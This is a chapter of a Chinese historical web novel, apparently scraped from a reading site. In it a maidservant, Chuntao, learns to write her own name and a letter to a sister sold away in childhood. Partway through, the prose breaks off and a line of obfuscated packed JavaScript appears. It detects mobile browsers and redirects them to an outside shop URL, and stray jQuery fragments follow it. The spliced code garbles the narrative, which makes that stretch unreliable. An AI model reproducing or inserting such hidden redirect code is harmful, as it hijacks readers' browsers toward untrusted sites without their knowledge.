（弘昌二十三年，二月）
春桃想学写自己的名字，是在苏时重新写下“苏时”两个字之后。
那日雨停得早，听雪轩外的竹叶还湿着，檐下偶尔滴一两声水。苏时坐在窗边，案上铺着一张新纸。她刚写完自己的名字，墨痕还未干，笔锋比从前稳了些，也比从前慢了些。
春桃站在一旁看着。
她看了许久，忽然低声道：“小姐，奴婢也想写。”
苏时抬眼看她：“写什么？”
春桃的手指在袖中攥了攥。
“写奴婢自己的名字。”
苏时看着她，没有多问，只把纸往旁边挪开，又取了一张干净的笺纸铺好。她蘸了墨，在纸上慢慢写下两个字。
春桃。
写完，她把笔递给春桃。
春桃接笔时，手心已经出了汗。那支笔并不重，落到她手里却像比平日端药的托盘还沉。她低头看着纸上那两个字，认得，却仍觉得陌生。春，是春日的春。桃，是桃花的桃。府里人人这样叫她，她也早习惯了。可直到这两个字端端正正落在纸上，她才忽然觉得，原来自己也能被这样写下来。
她照着苏时的字，一笔一笔往下描。
第一遍写得歪，春字上头一横太长，桃字右边几乎散开。春桃脸一下红了，忙抬头看苏时。
苏时没有笑。
“再写一遍。”
春桃便又写。
第二遍仍不齐整，却比第一遍好些。她写到最后一笔时，手腕抖了一下，墨点落在纸边，洇出一小团黑。她愣住，像怕把自己的名字弄坏了。
苏时伸手，把那张纸从砚边轻轻挪开。
“这样也可以。”
春桃低头看着那两个歪斜的字。看着看着，眼眶忽然有些热。她忙眨了眨眼，把笔放回笔架上，小心等墨干了，才将那张纸沿着边角折好。
她折得很慢，像在折一件不能摔的东西。
折好后，她把纸放进袖中，手按在袖口上，停了好一会儿。
苏时看着她，没有催。
过了许久，春桃抬起头。
“小姐，奴婢想再学几个字。”
“什么字？”
春桃张了张口，声音轻了下去。
“我姐姐的名字。”
屋中静了一瞬。
窗外水珠从竹叶尖滑落，滴在石阶上。
苏时道：“她叫什么？”
春桃低着头，手还按在袖口里那张纸上。
“奴婢不知道。”
苏时没有说话。
春桃像是怕她没听清，又慢慢道：“她五岁就被卖了。家里原本叫她大丫。后来那家给她改了什么名字，奴婢不知道。她还活不活着，奴婢也不知道。”
这些话她从前从未说过。不是不能说，是说了也没有用。五岁被卖出去的姐姐，早已像一只从水里漂走的小木片，漂到哪里，撞到哪里，沉在哪里，都没有人知道。家里人后来也不大提起。大丫这个名字太轻，像穷人家随口叫出来的声响，叫过几年，便被风吹散了。
苏时看着春桃。
春桃低声道：“奴婢想给她写一封信。”
她说完，自己也觉得这话荒唐。她不知道姐姐如今叫什么，不知道人在何处，不知道嫁了没有，病了没有，死了没有。这样的信，没有地方可寄，也没有人可托。即便写成了，也多半只能压在箱底，和那些送不出去的旧纸一起慢慢发黄。
可她还是想写。
“奴婢知道寄不到。”春桃道，“也许连她的名字都写不对。可奴婢想写一封。”
苏时的手指轻轻收紧。
她想起自己曾经写在小册子里的那句话：这两个字也是借的。借了便要替他还点什么。那时她以为名字是自己一个人的事，是她和旧苏时之间一笔算不清的账。如今春桃站在她面前，袖中藏着刚写好的“春桃”，却连姐姐现在叫什么都不知道。
原来有些名字，也会被人拿走。
屋中许久没有声音。
春桃低头道：“小姐若觉得不合适……”
“写吧。”苏时打断她。
春桃怔住。
苏时重新铺开一张纸，压平边角，又把笔递给她。
“先写你知道的。”
春桃看着那张纸。
“可奴婢只知道大丫。”
“那就先写大丫。”
苏时说得很轻。
“以后若知道别的名字，再添上。”
春桃的眼泪一下落下来。她忙用袖子去擦，擦到一半又想起袖中还放着自己的名字，便僵在那里，不敢再动。
苏时取过帕子，放到她手边。
春桃低头接过，胡乱擦了擦眼睛，重新握住笔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606097|205723||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。她的手还是抖，写出来的字也歪。大字写得太开，丫字末笔拖得很长，像一根细细的线，落到纸边便断了。
她看着那两个字，很久没有动。
苏时站在旁边，也没有说话。
灰猫不知从哪里钻出来，沿着窗下走了两步，蹭过春桃的脚边。春桃低头看了一眼，眼泪又掉下来，却没有哭出声。
后来，那封信写了很久。
第一行写：
姐姐大丫收。
写完这一行，春桃便停住了。她不知道后面该怎么称呼，也不知道该从哪一年说起。她想说自己如今在苏府，想说自己学会写名字了，想说小姐待她很好，想说她夜里有一张小床，冬日被褥很厚。可这些话落到纸上，又像太轻。姐姐若还活着，未必过得好；若过得不好，她写这些，便像在炫耀。若姐姐已经不在人世，这些话又无人能听。
苏时坐在她旁边，替她磨墨。
墨锭在砚中慢慢转着，声音很轻。
春桃最后只写：
我现在叫春桃。
我会写自己的名字了。
姐姐，你还记不记得我。
写到这里，她再也写不下去。
苏时等墨干了，没有替她补，也没有催她继续。她只把那张信纸拿起来，照着折愿笺的方式，慢慢折成一方。
“收好。”苏时道。
春桃接过来，手抖得厉害。
“小姐，这信……”
“不急。”苏时道，“不知道寄到哪里，便先留着。”
春桃把信和那张写着“春桃”的纸一起放进袖中。放进去后，她用手按住，像怕它们也会从袖底漏出去，像从前那些名字一样，悄无声息地没了。
苏时看着她，忽然低声道：“春桃。”
“奴婢在。”
“以后再想写，就来找我。”
春桃点头。
她说不出谢，只能低着头，把袖口按得更紧。
窗外雨后的风吹进来，竹叶上的水声渐渐稀了。案上的墨还没收，纸上残着一点湿痕。那封寄不出去的信已经被春桃藏进袖中，连同她刚学会的名字，贴在她手腕旁边。
这一回，春桃没有跪。
窗外的桃树也要开了。
——————————————————————————————————————